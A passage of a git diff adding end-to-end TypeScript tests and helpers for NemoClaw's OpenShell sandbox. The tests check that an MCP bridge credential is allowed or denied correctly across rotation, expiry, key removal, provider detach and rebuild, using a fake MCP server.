+        NVIDIA_INFERENCE_API_KEY: COMPATIBLE_KEY,
+        NEMOCLAW_AGENT: "openclaw",
+        NEMOCLAW_ENDPOINT_URL: endpointUrl,
+        NEMOCLAW_MODEL: COMPATIBLE_MODEL,
+        NEMOCLAW_COMPAT_MODEL: COMPATIBLE_MODEL,
+        NEMOCLAW_PREFERRED_API: "openai-completions",
+        NEMOCLAW_PROVIDER: "custom",
+        NEMOCLAW_SANDBOX_NAME: SANDBOX_NAME,
+        NEMOCLAW_RECREATE_SANDBOX: "1",
+      },
+      redactionValues: [COMPATIBLE_KEY, ...allSecrets],
+      timeoutMs: 20 * 60_000,
+    },
+  );
+  expectExitZero(onboard, "onboard credential-window sandbox");
+
+  const add = await host.nemoclaw(
+    [
+      SANDBOX_NAME,
+      "mcp",
+      "add",
+      SERVER_NAME,
+      "--url",
+      tunnel.url,
+      "--env",
+      CREDENTIAL_WINDOW_ENV_NAME,
+    ],
+    {
+      artifactName: "credential-window-mcp-add",
+      env: {
+        ...buildAvailabilityProbeEnv(),
+        [CREDENTIAL_WINDOW_ENV_NAME]: initialSecret,
+      },
+      redactionValues: [COMPATIBLE_KEY, ...allSecrets],
+      timeoutMs: 4 * 60_000,
+    },
+  );
+  expectExitZero(add, "add credential-window MCP bridge");
+  cleanup.add("remove credential-window MCP bridge", () => cleanupBridge(host));
+
+  const status = await host.nemoclaw([SANDBOX_NAME, "mcp", "status", SERVER_NAME, "--json"], {
+    artifactName: "credential-window-mcp-status",
+    env: buildAvailabilityProbeEnv(),
+    timeoutMs: 60_000,
+  });
+  expectExitZero(status, "inspect credential-window MCP bridge");
+  const providerName = (JSON.parse(status.stdout) as { provider: { name: string } }).provider.name;
+  expect(providerName).toMatch(/^e2e-mcp-credential-window-mcp-fake-[a-f0-9]{16}$/u);
+
+  const originalRevision = await observeFreshRevision(
+    sandbox,
+    "credential-window-initial-fresh-revision",
+  );
+  const resetControl = await sandbox.exec(
+    SANDBOX_NAME,
+    [
+      "rm",
+      "-f",
+      CREDENTIAL_WINDOW_PATHS.control,
+      CREDENTIAL_WINDOW_PATHS.ready,
+      CREDENTIAL_WINDOW_PATHS.acknowledgement,
+    ],
+    {
+      artifactName: "credential-window-reset-control-files",
+      env: openshellEnv(),
+      timeoutMs: 60_000,
+    },
+  );
+  expectExitZero(resetControl, "reset credential-window control files");
+
+  const expiryAtMs = Date.now() + CREDENTIAL_WINDOW_EXPIRY_DELAY_MS;
+  fakeMcp.setSecret(expirySecret);
+  await updateProviderCredential(
+    sandbox,
+    providerName,
+    expirySecret,
+    expiryAtMs,
+    allSecrets,
+    "credential-window-install-expiring-generation",
+  );
+  const expiryRevision = await observeDistinctFreshRevision(
+    sandbox,
+    originalRevision,
+    "credential-window-expiring-fresh-revision",
+  );
+
+  const expiryChildPromise = sandbox.exec(
+    SANDBOX_NAME,
+    ["nemoclaw-start", "node", "-e", buildCredentialWindowChildScript({ mcpUrl: tunnel.url })],
+    {
+      artifactName: "credential-window-expiry-child",
+      env: openshellEnv(),
+      redactionValues: [...allSecrets],
+      timeoutMs: 6 * 60_000,
+    },
+  );
+  let expiryChildRevision = "";
+  let expiryChildResult: ShellProbeResult | undefined;
+  let restoredRevision = "";
+  try {
+    expiryChildRevision = await waitForReadyRevision(sandbox);
+    expect(expiryChildRevision).toBe(expiryRevision);
+    await writeControl(
+      sandbox,
+      CREDENTIAL_WINDOW_STEPS.allowedBeforeExpiry,
+      "credential-window-signal-before-expiry",
+    );
+    await waitForAcknowledgement(sandbox, CREDENTIAL_WINDOW_STEPS.allowedBeforeExpiry, "allowed");
+    expect(
+      requestEvidence(
+        fakeMcp,
+        credentialWindowRequestId(CREDENTIAL_WINDOW_STEPS.allowedBeforeExpiry),
+        expirySecret,
+      ),
+    ).toEqual({
+      seen: true,
+      credentialRewritten: true,
+      placeholderAbsent: true,
+    });
+
+    fakeMcp.setSecret(initialSecret);
+    await updateProviderCredential(
+      sandbox,
+      providerName,
+      initialSecret,
+      0,
+      allSecrets,
+      "credential-window-clear-expiry-with-current-generation",
+    );
+    restoredRevision = await observeDistinctFreshRevision(
+      sandbox,
+      expiryRevision,
+      "credential-window-current-revision-before-expiry",
+    );
+    const currentDuringExpiryId = `${CREDENTIAL_WINDOW_REQUEST_PREFIX}:fresh-current-during-expiry`;
+    const currentDuringExpiry = await runFreshRequest(
+      sandbox,
+      tunnel.url,
+      currentDuringExpiryId,
+      allSecrets,
+      "credential-window-fresh-current-during-expiry",
+    );
+    expect(currentDuringExpiry).toEqual({
+      revision: restoredRevision,
+      status: 200,
+    });
+    expect(requestEvidence(fakeMcp, currentDuringExpiryId, initialSecret)).toEqual({
+      seen: true,
+      credentialRewritten: true,
+      placeholderAbsent: true,
+    });
+
+    await expect
+      .poll(() => Date.now(), {
+        interval: 500,
+        timeout: CREDENTIAL_WINDOW_EXPIRY_DELAY_MS + 30_000,
+        message: "retained credential generation expiry deadline",
+      })
+      .toBeGreaterThan(expiryAtMs);
+    await writeControl(
+      sandbox,
+      CREDENTIAL_WINDOW_STEPS.deniedAfterExpiry,
+      "credential-window-signal-after-expiry",
+    );
+    await waitForAcknowledgement(sandbox, CREDENTIAL_WINDOW_STEPS.deniedAfterExpiry, "denied");
+    expect(
+      requestEvidence(
+        fakeMcp,
+        credentialWindowRequestId(CREDENTIAL_WINDOW_STEPS.deniedAfterExpiry),
+        initialSecret,
+      ).seen,
+    ).toBe(false);
+  } finally {
+    await writeControl(
+      sandbox,
+      CREDENTIAL_WINDOW_STEPS.stop,
+      "credential-window-stop-expiry-child",
+    ).catch(() =>
+      host.bestEffortCleanupSandbox(SANDBOX_NAME, {
+        artifactName: "credential-window-expiry-stop-fallback-destroy",
+        timeoutMs: 15 * 60_000,
+      }),
+    );
+    expiryChildResult = await expiryChildPromise;
+  }
+
+  expect(expiryChildResult).toBeDefined();
+  expectExitZero(expiryChildResult!, "retained-expiry credential-window child");
+  expect(parseLastJsonLine<CredentialWindowChildResult>(expiryChildResult!.stdout)).toEqual({
+    revision: expiryChildRevision,
+    outcomes: [
+      {
+        step: CREDENTIAL_WINDOW_STEPS.allowedBeforeExpiry,
+        outcome: "allowed",
+      },
+      {
+        step: CREDENTIAL_WINDOW_STEPS.deniedAfterExpiry,
+        outcome: "denied",
+      },
+    ],
+  });
+
+  const clearExpiryControl = await sandbox.exec(
+    SANDBOX_NAME,
+    [
+      "rm",
+      "-f",
+      CREDENTIAL_WINDOW_PATHS.control,
+      CREDENTIAL_WINDOW_PATHS.ready,
+      CREDENTIAL_WINDOW_PATHS.acknowledgement,
+    ],
+    {
+      artifactName: "credential-window-reset-after-expiry",
+      env: openshellEnv(),
+      timeoutMs: 60_000,
+    },
+  );
+  expectExitZero(clearExpiryControl, "reset credential-window controls after expiry proof");
+
+  const oldChildPromise = sandbox.exec(
+    SANDBOX_NAME,
+    ["nemoclaw-start", "node", "-e", buildCredentialWindowChildScript({ mcpUrl: tunnel.url })],
+    {
+      artifactName: "credential-window-old-child",
+      env: openshellEnv(),
+      redactionValues: [...allSecrets],
+      timeoutMs: 42 * 60_000,
+    },
+  );
+  let oldChildRevision = "";
+  let oldChildResult: ShellProbeResult | undefined;
+  let restartedRevision = "";
+  const observedRevisions = [restoredRevision];
+  try {
+    oldChildRevision = await waitForReadyRevision(sandbox);
+    expect(oldChildRevision).toBe(restoredRevision);
+    for (const [index, secret] of rotationSecrets.entries()) {
+      await rotateCredential(host, fakeMcp, secret, index + 1, allSecrets);
+      observedRevisions.push(
+        await observeFreshRevision(sandbox, `credential-window-fresh-revision-${index + 1}`),
+      );
+    }
+    expect(new Set(observedRevisions).size).toBe(CREDENTIAL_WINDOW_ROTATION_COUNT + 1);
+    const currentRevision = observedRevisions.at(-1)!;
+    expect(currentRevision).not.toBe(oldChildRevision);
+    await artifacts.writeJson("credential-window-revisions.json", {
+      expiryAtMs,
+      expiryRevision,
+      oldChildRevision,
+      observedRevisions,
+      restoredRevision,
+      retainedGenerations: OPENSHELL_RETAINED_CREDENTIAL_GENERATIONS,
+      rotations: CREDENTIAL_WINDOW_ROTATION_COUNT,
+    });
+
+    const rotatedSecret = rotationSecrets.at(-1)!;
+    await writeControl(
+      sandbox,
+      CREDENTIAL_WINDOW_STEPS.fallbackAfterEviction,
+      "credential-window-signal-fallback-after-eviction",
+    );
+    await waitForAcknowledgement(sandbox, CREDENTIAL_WINDOW_STEPS.fallbackAfterEviction, "allowed");
+    await expect
+      .poll(
+        () =>
+          requestEvidence(
+            fakeMcp,
+            credentialWindowRequestId(CREDENTIAL_WINDOW_STEPS.fallbackAfterEviction),
+            rotatedSecret,
+          ),
+        {
+          interval: 500,
+          timeout: 30_000,
+          message: "old revision current-key fallback",
+        },
+      )
+      .toEqual({
+        seen: true,
+        credentialRewritten: true,
+        placeholderAbsent: true,
+      });
+
+    const freshAfterEvictionId = `${CREDENTIAL_WINDOW_REQUEST_PREFIX}:fresh-after-eviction`;
+    const freshAfterEviction = await runFreshRequest(
+      sandbox,
+      tunnel.url,
+      freshAfterEvictionId,
+      allSecrets,
+      "credential-window-fresh-request-after-eviction",
+    );
+    expect(freshAfterEviction).toEqual({
+      revision: currentRevision,
+      status: 200,
+    });
+    expect(requestEvidence(fakeMcp, freshAfterEvictionId, rotatedSecret)).toEqual({
+      seen: true,
+      credentialRewritten: true,
+      placeholderAbsent: true,
+    });
+
+    await updateProviderCredential(
+      sandbox,
+      providerName,
+      "",
+      0,
+      allSecrets,
+      "credential-window-remove-current-key",
+    );
+    await expectFreshCredentialAbsent(
+      sandbox,
+      "credential-window-fresh-credential-absent-after-key-removal",
+    );
+    await writeControl(
+      sandbox,
+      CREDENTIAL_WINDOW_STEPS.deniedAfterKeyRemoval,
+      "credential-window-signal-after-key-removal",
+    );
+    await waitForAcknowledgement(sandbox, CREDENTIAL_WINDOW_STEPS.deniedAfterKeyRemoval, "denied");
+    expect(
+      requestEvidence(
+        fakeMcp,
+        credentialWindowRequestId(CREDENTIAL_WINDOW_STEPS.deniedAfterKeyRemoval),
+        rotatedSecret,
+      ).seen,
+    ).toBe(false);
+
+    fakeMcp.setSecret(restartSecret);
+    await updateProviderCredential(
+      sandbox,
+      providerName,
+      restartSecret,
+      0,
+      allSecrets,
+      "credential-window-restore-current-key-before-detach",
+    );
+    const restoredKeyRevision = await observeDistinctFreshRevision(
+      sandbox,
+      currentRevision,
+      "credential-window-fresh-revision-after-key-restore",
+    );
+    const freshAfterKeyRestoreId = `${CREDENTIAL_WINDOW_REQUEST_PREFIX}:fresh-after-key-restore`;
+    const freshAfterKeyRestore = await runFreshRequest(
+      sandbox,
+      tunnel.url,
+      freshAfterKeyRestoreId,
+      allSecrets,
+      "credential-window-fresh-request-after-key-restore",
+    );
+    expect(freshAfterKeyRestore).toEqual({
+      revision: restoredKeyRevision,
+      status: 200,
+    });
+    expect(requestEvidence(fakeMcp, freshAfterKeyRestoreId, restartSecret)).toEqual({
+      seen: true,
+      credentialRewritten: true,
+      placeholderAbsent: true,
+    });
+
+    const detach = await sandbox.openshell(
+      ["sandbox", "provider", "detach", SANDBOX_NAME, providerName],
+      {
+        artifactName: "credential-window-direct-provider-detach",
+        env: openshellEnv(),
+        timeoutMs: 90_000,
+      },
+    );
+    expectExitZero(detach, "detach credential-window provider");
+    expect(resultText(detach)).toMatch(/Detached provider/iu);
+    await expectFreshCredentialAbsent(
+      sandbox,
+      "credential-window-fresh-credential-absent-after-detach",
+    );
+
+    await writeControl(
+      sandbox,
+      CREDENTIAL_WINDOW_STEPS.deniedAfterDetach,
+      "credential-window-signal-after-detach",
+    );
+    await waitForAcknowledgement(sandbox, CREDENTIAL_WINDOW_STEPS.deniedAfterDetach, "denied");
+    expect(
+      requestEvidence(
+        fakeMcp,
+        credentialWindowRequestId(CREDENTIAL_WINDOW_STEPS.deniedAfterDetach),
+        restartSecret,
+      ).seen,
+    ).toBe(false);
+
+    await rotateCredential(
+      host,
+      fakeMcp,
+      restartSecret,
+      CREDENTIAL_WINDOW_ROTATION_COUNT + 1,
+      allSecrets,
+    );
+    restartedRevision = await observeFreshRevision(
+      sandbox,
+      "credential-window-fresh-revision-after-restart",
+    );
+    expect(restartedRevision).not.toBe(currentRevision);
+    expect(restartedRevision).not.toBe(restoredKeyRevision);
+    await writeControl(
+      sandbox,
+      CREDENTIAL_WINDOW_STEPS.fallbackAfterRestart,
+      "credential-window-signal-fallback-after-restart",
+    );
+    await waitForAcknowledgement(sandbox, CREDENTIAL_WINDOW_STEPS.fallbackAfterRestart, "allowed");
+    await expect
+      .poll(
+        () =>
+          requestEvidence(
+            fakeMcp,
+            credentialWindowRequestId(CREDENTIAL_WINDOW_STEPS.fallbackAfterRestart),
+            restartSecret,
+          ),
+        {
+          interval: 500,
+          timeout: 30_000,
+          message: "old revision fallback after restart",
+        },
+      )
+      .toEqual({
+        seen: true,
+        credentialRewritten: true,
+        placeholderAbsent: true,
+      });
+  } finally {
+    await writeControl(
+      sandbox,
+      CREDENTIAL_WINDOW_STEPS.stop,
+      "credential-window-stop-old-child",
+    ).catch(() =>
+      host.bestEffortCleanupSandbox(SANDBOX_NAME, {
+        artifactName: "credential-window-stop-fallback-destroy",
+        timeoutMs: 15 * 60_000,
+      }),
+    );
+    oldChildResult = await oldChildPromise;
+  }
+
+  expect(oldChildResult).toBeDefined();
+  expectExitZero(oldChildResult!, "old credential-window child");
+  const childSummary = parseLastJsonLine<CredentialWindowChildResult>(oldChildResult!.stdout);
+  expect(childSummary).toEqual({
+    revision: oldChildRevision,
+    outcomes: [
+      {
+        step: CREDENTIAL_WINDOW_STEPS.fallbackAfterEviction,
+        outcome: "allowed",
+      },
+      { step: CREDENTIAL_WINDOW_STEPS.deniedAfterKeyRemoval, outcome: "denied" },
+      { step: CREDENTIAL_WINDOW_STEPS.deniedAfterDetach, outcome: "denied" },
+      {
+        step: CREDENTIAL_WINDOW_STEPS.fallbackAfterRestart,
+        outcome: "allowed",
+      },
+    ],
+  });
+
+  const rebuild = await host.nemoclaw([SANDBOX_NAME, "rebuild", "--yes"], {
+    artifactName: "credential-window-rebuild-with-provider-reuse",
+    env: {
+      ...buildAvailabilityProbeEnv(),
+      COMPATIBLE_API_KEY: COMPATIBLE_KEY,
+      NVIDIA_INFERENCE_API_KEY: COMPATIBLE_KEY,
+    },
+    redactionValues: [COMPATIBLE_KEY, ...allSecrets],
+    timeoutMs: 25 * 60_000,
+  });
+  expectExitZero(rebuild, "rebuild credential-window sandbox without MCP host secret");
+  const rebuiltRevision = await observeFreshRevision(
+    sandbox,
+    "credential-window-fresh-revision-after-rebuild",
+  );
+  const freshAfterRebuildId = `${CREDENTIAL_WINDOW_REQUEST_PREFIX}:fresh-after-rebuild`;
+  const freshAfterRebuild = await runFreshRequest(
+    sandbox,
+    tunnel.url,
+    freshAfterRebuildId,
+    allSecrets,
+    "credential-window-fresh-request-after-rebuild",
+  );
+  expect(freshAfterRebuild).toEqual({
+    revision: rebuiltRevision,
+    status: 200,
+  });
+  expect(requestEvidence(fakeMcp, freshAfterRebuildId, restartSecret)).toEqual({
+    seen: true,
+    credentialRewritten: true,
+    placeholderAbsent: true,
+  });
+
+  const remove = await host.nemoclaw([SANDBOX_NAME, "mcp", "remove", SERVER_NAME], {
+    artifactName: "credential-window-mcp-remove",
+    env: buildAvailabilityProbeEnv(),
+    timeoutMs: 4 * 60_000,
+  });
+  expectExitZero(remove, "remove credential-window MCP bridge");
+  await expectFreshCredentialAbsent(
+    sandbox,
+    "credential-window-fresh-credential-absent-after-remove",
+  );
+  const providerAfterRemove = await host.command(
+    host.openshellCommandPath,
+    ["provider", "get", providerName],
+    {
+      artifactName: "credential-window-provider-absent-after-remove",
+      env: openshellEnv(),
+      timeoutMs: 60_000,
+    },
+  );
+  expect(providerAfterRemove.exitCode).not.toBe(0);
+  expect(resultText(providerAfterRemove)).toMatch(/not found/iu);
+  const upstreamRequestIds = fakeMcp.requests.map((request) => requestId(request.body));
+  expect(upstreamRequestIds).not.toContain(
+    credentialWindowRequestId(CREDENTIAL_WINDOW_STEPS.deniedAfterExpiry),
+  );
+  expect(upstreamRequestIds).not.toContain(
+    credentialWindowRequestId(CREDENTIAL_WINDOW_STEPS.deniedAfterKeyRemoval),
+  );
+  expect(upstreamRequestIds).not.toContain(
+    credentialWindowRequestId(CREDENTIAL_WINDOW_STEPS.deniedAfterDetach),
+  );
+  expect(
+    fakeMcp.requests.every(
+      (request: CredentialWindowRequest) => !request.auth.includes("openshell:resolve:env"),
+    ),
+  ).toBe(true);
+  await artifacts.target.complete({
+    id: "openshell-credential-generation-window",
+    expiryRevision,
+    oldChildRevision,
+    rebuiltRevision,
+    restartedRevision,
+    rotations: CREDENTIAL_WINDOW_ROTATION_COUNT,
+  });
+});
diff --git a/test/e2e/live/openshell-credential-generation-window.ts b/test/e2e/live/openshell-credential-generation-window.ts
new file mode 100644
index 0000000000..5d56d44993
--- /dev/null
+++ b/test/e2e/live/openshell-credential-generation-window.ts
@@ -0,0 +1,210 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import { MCP_BRIDGE_TEST_CREDENTIALS } from "../fixtures/mcp-bridge-credentials.ts";
+
+/** OpenShell f27ff150 retains exactly this many revision resolvers. */
+export const OPENSHELL_RETAINED_CREDENTIAL_GENERATIONS = 8;
+
+/** One more update than the retained window guarantees eviction of revision zero. */
+export const CREDENTIAL_WINDOW_ROTATION_COUNT = OPENSHELL_RETAINED_CREDENTIAL_GENERATIONS + 1;
+export const CREDENTIAL_WINDOW_EXPIRY_DELAY_MS = 3 * 60_000;
+
+export const CREDENTIAL_WINDOW_ENV_NAME = "FAKE_MCP_SECRET";
+export const CREDENTIAL_WINDOW_REQUEST_PREFIX = "nemoclaw-credential-window";
+export const CREDENTIAL_WINDOW_PATHS = {
+  control: "/tmp/nemoclaw-credential-window.control",
+  ready: "/tmp/nemoclaw-credential-window.ready.json",
+  acknowledgement: "/tmp/nemoclaw-credential-window.ack.json",
+} as const;
+
+export const CREDENTIAL_WINDOW_STEPS = {
+  allowedBeforeExpiry: "allowed-before-expiry",
+  deniedAfterExpiry: "denied-after-expiry",
+  fallbackAfterEviction: "fallback-after-eviction",
+  deniedAfterKeyRemoval: "denied-after-key-removal",
+  deniedAfterDetach: "denied-after-detach",
+  fallbackAfterRestart: "fallback-after-restart",
+  stop: "stop",
+} as const;
+
+export type CredentialWindowRequestStep =
+  | (typeof CREDENTIAL_WINDOW_STEPS)["allowedBeforeExpiry"]
+  | (typeof CREDENTIAL_WINDOW_STEPS)["deniedAfterExpiry"]
+  | (typeof CREDENTIAL_WINDOW_STEPS)["fallbackAfterEviction"]
+  | (typeof CREDENTIAL_WINDOW_STEPS)["deniedAfterKeyRemoval"]
+  | (typeof CREDENTIAL_WINDOW_STEPS)["deniedAfterDetach"]
+  | (typeof CREDENTIAL_WINDOW_STEPS)["fallbackAfterRestart"];
+
+export function credentialWindowSecret(generation: number): string {
+  return `${MCP_BRIDGE_TEST_CREDENTIALS.generationWindow}${String(generation).padStart(2, "0")}`;
+}
+
+export function credentialWindowSecrets(): string[] {
+  return Array.from({ length: CREDENTIAL_WINDOW_ROTATION_COUNT + 3 }, (_, generation) =>
+    credentialWindowSecret(generation),
+  );
+}
+
+export function credentialWindowRequestId(step: CredentialWindowRequestStep): string {
+  return `${CREDENTIAL_WINDOW_REQUEST_PREFIX}:${step}`;
+}
+
+export function buildCredentialWindowProviderUpdateArgs(
+  providerName: string,
+  expiresAtMs: number,
+  removeCredential = false,
+): string[] {
+  return [
+    "provider",
+    "update",
+    providerName,
+    "--credential",
+    removeCredential ? `${CREDENTIAL_WINDOW_ENV_NAME}=` : CREDENTIAL_WINDOW_ENV_NAME,
+    "--credential-expires-at",
+    `${CREDENTIAL_WINDOW_ENV_NAME}=${expiresAtMs}`,
+  ];
+}
+
+export interface CredentialWindowChildOptions {
+  readonly mcpUrl: string;
+  readonly maxRuntimeMs?: number;
+}
+
+/**
+ * Build the process held open across provider mutations. It snapshots the
+ * revisioned child environment exactly once, accepts only six bounded request
+ * steps plus stop, and reports only revision/status metadata. The credential
+ * placeholder is used solely as the Authorization header so the OpenShell proxy
+ * must resolve it on each request.
+ */
+export function buildCredentialWindowChildScript(options: CredentialWindowChildOptions): string {
+  const config = JSON.stringify({
+    acknowledgementPath: CREDENTIAL_WINDOW_PATHS.acknowledgement,
+    controlPath: CREDENTIAL_WINDOW_PATHS.control,
+    envName: CREDENTIAL_WINDOW_ENV_NAME,
+    maxRuntimeMs: options.maxRuntimeMs ?? 40 * 60_000,
+    mcpUrl: options.mcpUrl,
+    readyPath: CREDENTIAL_WINDOW_PATHS.ready,
+    requestPrefix: CREDENTIAL_WINDOW_REQUEST_PREFIX,
+    steps: CREDENTIAL_WINDOW_STEPS,
+  });
+
+  return `
+const fs = require("node:fs");
+const https = require("node:https");
+const config = ${config};
+const credentialPlaceholder = process.env[config.envName] || "";
+const revisionPattern = new RegExp(
+  "^openshell:resolve:env:(v[0-9]{1,20})_" + config.envName + "$",
+);
+const revisionMatch = revisionPattern.exec(credentialPlaceholder);
+if (!revisionMatch) throw new Error("old child did not receive a revision-scoped credential");
+const revision = revisionMatch[1];
+const target = new URL(config.mcpUrl);
+const requestSteps = new Set([
+  config.steps.allowedBeforeExpiry,
+  config.steps.deniedAfterExpiry,
+  config.steps.fallbackAfterEviction,
+  config.steps.deniedAfterKeyRemoval,
+  config.steps.deniedAfterDetach,
+  config.steps.fallbackAfterRestart,
+]);
+const seen = new Set();
+const outcomes = [];
+const delay = (milliseconds) => new Promise((resolve) => setTimeout(resolve, milliseconds));
+const writePrivateJson = (file, value) => {
+  fs.writeFileSync(file, JSON.stringify(value) + "\\n", { encoding: "utf8", mode: 0o600 });
+};
+const request = (step) => new Promise((resolve) => {
+  const body = JSON.stringify({
+    jsonrpc: "2.0",
+    id: config.requestPrefix + ":" + step,
+    method: "tools/list",
+  });
+  const outbound = https.request({
+    hostname: target.hostname,
+    port: target.port,
+    path: target.pathname,
+    method: "POST",
+    headers: {
+      "content-type": "application/json",
+      "content-length": Buffer.byteLength(body),
+      authorization: "Bearer " + credentialPlaceholder,
+    },
+  }, (response) => {
+    response.resume();
+    response.on("end", () => resolve(response.statusCode === 200 ? "allowed" : "denied"));
+  });
+  outbound.on("error", () => resolve("denied"));
+  outbound.setTimeout(30_000, () => outbound.destroy());
+  outbound.end(body);
+});
+
+writePrivateJson(config.readyPath, { revision });
+const deadline = Date.now() + config.maxRuntimeMs;
+(async () => {
+  let stopped = false;
+  while (Date.now() < deadline && !stopped) {
+    const step = fs.existsSync(config.controlPath)
+      ? fs.readFileSync(config.controlPath, "utf8").trim()
+      : "";
+    if (step === config.steps.stop) {
+      stopped = true;
+    } else if (requestSteps.has(step) && !seen.has(step)) {
+      seen.add(step);
+      const outcome = await request(step);
+      outcomes.push({ step, outcome });
+      writePrivateJson(config.acknowledgementPath, { step, outcome });
+    }
+    if (!stopped) await delay(200);
+  }
+  if (!stopped) throw new Error("credential generation window child exceeded its deadline");
+  process.stdout.write(JSON.stringify({ revision, outcomes }) + "\\n");
+})().catch((error) => {
+  process.stderr.write(String(error && error.message ? error.message : error) + "\\n");
+  process.exitCode = 1;
+});
+`.trim();
+}
+
+export function buildCredentialWindowOneShotScript(): string {
+  const config = JSON.stringify({
+    envName: CREDENTIAL_WINDOW_ENV_NAME,
+  });
+  return `
+const https = require("node:https");
+const config = ${config};
+const credentialPlaceholder = process.env[config.envName] || "";
+const revisionPattern = new RegExp(
+  "^openshell:resolve:env:(v[0-9]{1,20})_" + config.envName + "$",
+);
+const revisionMatch = revisionPattern.exec(credentialPlaceholder);
+if (!revisionMatch) throw new Error("fresh child did not receive a revision-scoped credential");
+const target = new URL(process.argv[1]);
+const body = JSON.stringify({ jsonrpc: "2.0", id: process.argv[2], method: "tools/list" });
+const request = https.request({
+  hostname: target.hostname,
+  port: target.port,
+  path: target.pathname,
+  method: "POST",
+  headers: {
+    "content-type": "application/json",
+    "content-length": Buffer.byteLength(body),
+    authorization: "Bearer " + credentialPlaceholder,
+  },
+}, (response) => {
+  response.resume();
+  response.on("end", () => {
+    process.stdout.write(JSON.stringify({ revision: revisionMatch[1], status: response.statusCode }) + "\\n");
+    process.exitCode = response.statusCode === 200 ? 0 : 1;
+  });
+});
+request.on("error", (error) => {
+  process.stderr.write(error.name + "\\n");
+  process.exitCode = 1;
+});
+request.setTimeout(30_000, () => request.destroy());
+request.end(body);
+`.trim();
+}
diff --git a/test/e2e/live/openshell-driver-config-test-wrapper.ts b/test/e2e/live/openshell-driver-config-test-wrapper.ts
new file mode 100644
index 0000000000..87de4e70fc
--- /dev/null
+++ b/test/e2e/live/openshell-driver-config-test-wrapper.ts
@@ -0,0 +1,110 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+
+import { shellQuote } from "../fixtures/clients/command.ts";
+
+export type OpenShellComponents = {
+  cli: string;
+  gateway: string;
+  sandbox: string;
+};
+
+export type OpenShellDriverConfigTestWrapper = {
+  directory: string;
+  executable: string;
+  remove(): void;
+};
+
+export function resolveOpenShellSiblingComponents(openshellPath: string): OpenShellComponents {
+  const cli = fs.realpathSync(openshellPath);
+  fs.accessSync(cli, fs.constants.X_OK);
+  const installDirectory = path.dirname(cli);
+  const canonicalSibling = (name: string): string => {
+    const sibling = fs.realpathSync(path.join(installDirectory, name));
+    fs.accessSync(sibling, fs.constants.X_OK);
+    return sibling;
+  };
+  return {
+    cli,
+    gateway: canonicalSibling("openshell-gateway"),
+    sandbox: canonicalSibling("openshell-sandbox"),
+  };
+}
+
+export function createOpenShellDriverConfigTestWrapper(options: {
+  delegatedCapabilityMarkers?: readonly string[];
+  driverConfigJson: string;
+  label: string;
+  realOpenshellPath: string;
+}): OpenShellDriverConfigTestWrapper {
+  if (!path.isAbsolute(options.realOpenshellPath)) {
+    throw new Error("real OpenShell path must be absolute");
+  }
+  if (!/^[A-Za-z0-9_-]+$/.test(options.label)) {
+    throw new Error("OpenShell driver-config test wrapper label must be shell-safe");
+  }
+  fs.accessSync(options.realOpenshellPath, fs.constants.X_OK);
+  const parsedDriverConfig: unknown = JSON.parse(options.driverConfigJson);
+  if (
+    parsedDriverConfig === null ||
+    typeof parsedDriverConfig !== "object" ||
+    Array.isArray(parsedDriverConfig)
+  ) {
+    throw new Error("OpenShell driver-config test wrapper requires a JSON object");
+  }
+
+  const capabilityComments = (options.delegatedCapabilityMarkers ?? [])
+    .map((marker) => {
+      if (!/^[A-Za-z0-9_-]+$/.test(marker)) {
+        throw new Error("delegated OpenShell capability marker must be shell-safe");
+      }
+      return `# TEST-ONLY delegated-capability marker from validated canonical OpenShell: ${marker}`;
+    })
+    .join("\n");
+  const directory = fs.mkdtempSync(
+    path.join(os.tmpdir(), `nemoclaw-${options.label}-openshell-wrapper-`),
+  );
+  const executable = path.join(directory, "openshell");
+  const script = `#!/bin/sh
+${capabilityComments}
+set -eu
+if [ "$#" -ge 2 ] && [ "$1" = sandbox ] && [ "$2" = create ]; then
+  shift 2
+  for argument in "$@"; do
+    case "$argument" in
+      --driver-config-json|--driver-config-json=*)
+        printf '%s\n' 'refusing duplicate --driver-config-json in ${options.label} test wrapper' >&2
+        exit 64
+        ;;
+    esac
+  done
+  exec ${shellQuote(options.realOpenshellPath)} sandbox create --driver-config-json ${shellQuote(options.driverConfigJson)} "$@"
+fi
+exec ${shellQuote(options.realOpenshellPath)} "$@"
+`;
+  fs.writeFileSync(executable, script, { encoding: "utf8", mode: 0o700 });
+
+  return {
+    directory,
+    executable,
+    remove: () => fs.rmSync(directory, { recursive: true, force: true }),
+  };
+}
+
+export function withOpenShellDriverConfigWrapperEnv(
+  env: NodeJS.ProcessEnv,
+  wrapper: OpenShellDriverConfigTestWrapper,
+  components: OpenShellComponents,
+): NodeJS.ProcessEnv {
+  return {
+    ...env,
+    PATH: `${wrapper.directory}${path.delimiter}${env.PATH ?? ""}`,
+    NEMOCLAW_OPENSHELL_BIN: wrapper.executable,
+    NEMOCLAW_OPENSHELL_GATEWAY_BIN: components.gateway,
+    NEMOCLAW_OPENSHELL_SANDBOX_BIN: components.sandbox,
+  };
+}
diff --git a/test/e2e/live/openshell-exact-main-driver-config.ts b/test/e2e/live/openshell-exact-main-driver-config.ts
new file mode 100644
index 0000000000..366db60463
--- /dev/null
+++ b/test/e2e/live/openshell-exact-main-driver-config.ts
@@ -0,0 +1,727 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash, randomUUID } from "node:crypto";
+import fs from "node:fs";
+import { isIP } from "node:net";
+import os from "node:os";
+import path from "node:path";
+
+import { parse as parseToml } from "smol-toml";
+
+import { REQUIRED_OPENSHELL_MCP_FEATURES } from "../../../src/lib/onboard/openshell-feature-gate.ts";
+import type { ArtifactSink } from "../fixtures/artifacts.ts";
+import { buildAvailabilityProbeEnv } from "../fixtures/availability-env.ts";
+import type { CleanupRegistry } from "../fixtures/cleanup.ts";
+import { resultText } from "../fixtures/clients/command.ts";
+import type { HostCliClient } from "../fixtures/clients/host.ts";
+import {
+  sandboxAccessEnv,
+  type SandboxClient,
+  trustedSandboxShellScript,
+} from "../fixtures/clients/sandbox.ts";
+import { expect } from "../fixtures/e2e-test.ts";
+import type { LifecyclePhaseFixture } from "../fixtures/phases/lifecycle.ts";
+import {
+  createOpenShellDriverConfigTestWrapper,
